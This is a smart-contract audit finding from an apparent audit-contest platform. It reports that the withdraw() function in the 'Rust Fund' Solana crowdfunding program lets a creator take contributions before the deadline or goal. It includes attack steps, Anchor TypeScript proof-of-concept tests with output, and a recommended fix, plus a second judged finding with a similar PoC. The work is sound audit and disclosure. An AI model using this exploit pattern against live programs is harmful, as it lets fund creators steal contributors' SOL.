Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

The missing campaign-success checks in withdraw() allow a creator to take contributions before the deadline or goal

The missing campaign-success checks in withdraw() allow a creator to take contributions before the deadline or goal

Summary

withdraw() transfers all recorded contributions to the fund creator without checking either the campaign deadline or whether the funding goal was reached. A malicious creator can therefore withdraw a victim's SOL immediately after it is contributed, despite advertising an unmet goal and a future deadline.

Vulnerability Details

The README states that creators can withdraw funds once their campaign succeeds. Campaign success depends on the deadline and funding goal, but withdraw() reads amount_raised and transfers it without inspecting either field:

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

The has_one = creator and PDA constraints only prove that the caller created the fund. A fund creator is not entitled to contributions until the advertised campaign conditions are satisfied.

An attacker can exploit this as follows:

  1. Create a fund with a 10 SOL goal.

  2. Set its deadline one day in the future.

  3. Wait for a victim to contribute 0.5 SOL.

  4. Call withdraw() immediately. The call succeeds although the campaign is only 5% funded and has not reached its deadline.

Proof of Concept

Add the following test to the Anchor test suite:

it("allows withdrawal before both the deadline and goal", async () => {
const creator = anchor.web3.Keypair.generate();
const contributor = anchor.web3.Keypair.generate();
for (const user of [creator, contributor]) {
const signature = await provider.connection.requestAirdrop(
user.publicKey,
2 * anchor.web3.LAMPORTS_PER_SOL,
);
await provider.connection.confirmTransaction(signature, "confirmed");
}
const name = "unguarded-withdraw";
const [fund] = anchor.web3.PublicKey.findProgramAddressSync(
[Buffer.from(name), creator.publicKey.toBuffer()],
program.programId,
);
const [contribution] = anchor.web3.PublicKey.findProgramAddressSync(
[fund.toBuffer(), contributor.publicKey.toBuffer()],
program.programId,
);
const goal = new anchor.BN(10 * anchor.web3.LAMPORTS_PER_SOL);
const amount = new anchor.BN(anchor.web3.LAMPORTS_PER_SOL / 2);
const deadline = new anchor.BN(Math.floor(Date.now() / 1000) + 86_400);
await program.methods
.fundCreate(name, "PoC", goal)
.accountsStrict({
fund,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([creator])
.rpc();
const rentOnlyBalance = await provider.connection.getBalance(fund);
await program.methods
.setDeadline(deadline)
.accountsStrict({ fund, creator: creator.publicKey })
.signers([creator])
.rpc();
await program.methods
.contribute(amount)
.accountsStrict({
fund,
contributor: contributor.publicKey,
contribution,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([contributor])
.rpc();
const state = await program.account.fund.fetch(fund);
expect(state.amountRaised.lt(state.goal)).to.equal(true);
expect(
state.deadline.gt(new anchor.BN(Math.floor(Date.now() / 1000))),
).to.equal(true);
await program.methods
.withdraw()
.accountsStrict({
fund,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([creator])
.rpc();
expect(await provider.connection.getBalance(fund)).to.equal(rentOnlyBalance);
});

The test passes, proving that the creator receives the contribution before either success condition is satisfied:

✔ allows withdrawal before both the deadline and goal

Impact

Any fund creator can take 100% of all contributed SOL before the campaign succeeds. This causes direct loss of contributor funds. The broken refund bookkeeping described in a separate finding also prevents the victim from recovering the SOL through refund().

Tools Used

  • Manual source review

  • Anchor 0.30.1

  • solana-test-validator 1.18.17

  • Bun and ts-mocha

Recommended Mitigation

Define campaign success explicitly and enforce it before transferring lamports. At minimum, require a nonzero elapsed deadline and amount_raised >= goal:

let now: u64 = Clock::get()?.unix_timestamp
.try_into()
.map_err(|_| ErrorCode::CalculationOverflow)?;
require!(fund.deadline != 0 && now >= fund.deadline, ErrorCode::DeadlineNotReached);
require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotReached);

The program should also record a terminal campaign state or reset the accounting after withdrawal so that the same campaign cannot continue accepting contributions into stale state.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] No check for if campaign reached deadline before withdraw

## Description A Malicious creator can withdraw funds before the campaign's deadline. ## Vulnerability Details There is no check in withdraw if the campaign ended before the creator can withdraw funds. ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## Impact A Malicious creator can withdraw all the campaign funds before deadline which is against the intended logic of the program. ## Recommendations Add check for if campaign as reached deadline before a creator can withdraw ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { //add this if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } //stops here let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## POC keep everything in `./tests/rustfund.rs` up on to `Contribute to fund` test, then add the below: ```TypeScript it("Creator withdraws funds when deadline is not reached", async () => { const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey); const fund = await program.account.fund.fetch(fundPDA); await new Promise(resolve => setTimeout(resolve, 150)); //default 15000 console.log("goal", fund.goal.toNumber()); console.log("fundBalance", await provider.connection.getBalance(fundPDA)); console.log("creatorBalanceBefore", await provider.connection.getBalance(creator.publicKey)); await program.methods .withdraw() .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey); console.log("creatorBalanceAfter", creatorBalanceAfter); console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA)); }); ``` this outputs: ```Python goal 1000000000 fundBalance 537590960 creatorBalanceBefore 499999999460946370 creatorBalanceAfter 499999999960941400 fundBalanceAfter 37590960 ✔ Creator withdraws funds when deadline is not reached (398ms) ``` We can notice that the creator withdraws funds from the campaign before the deadline.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!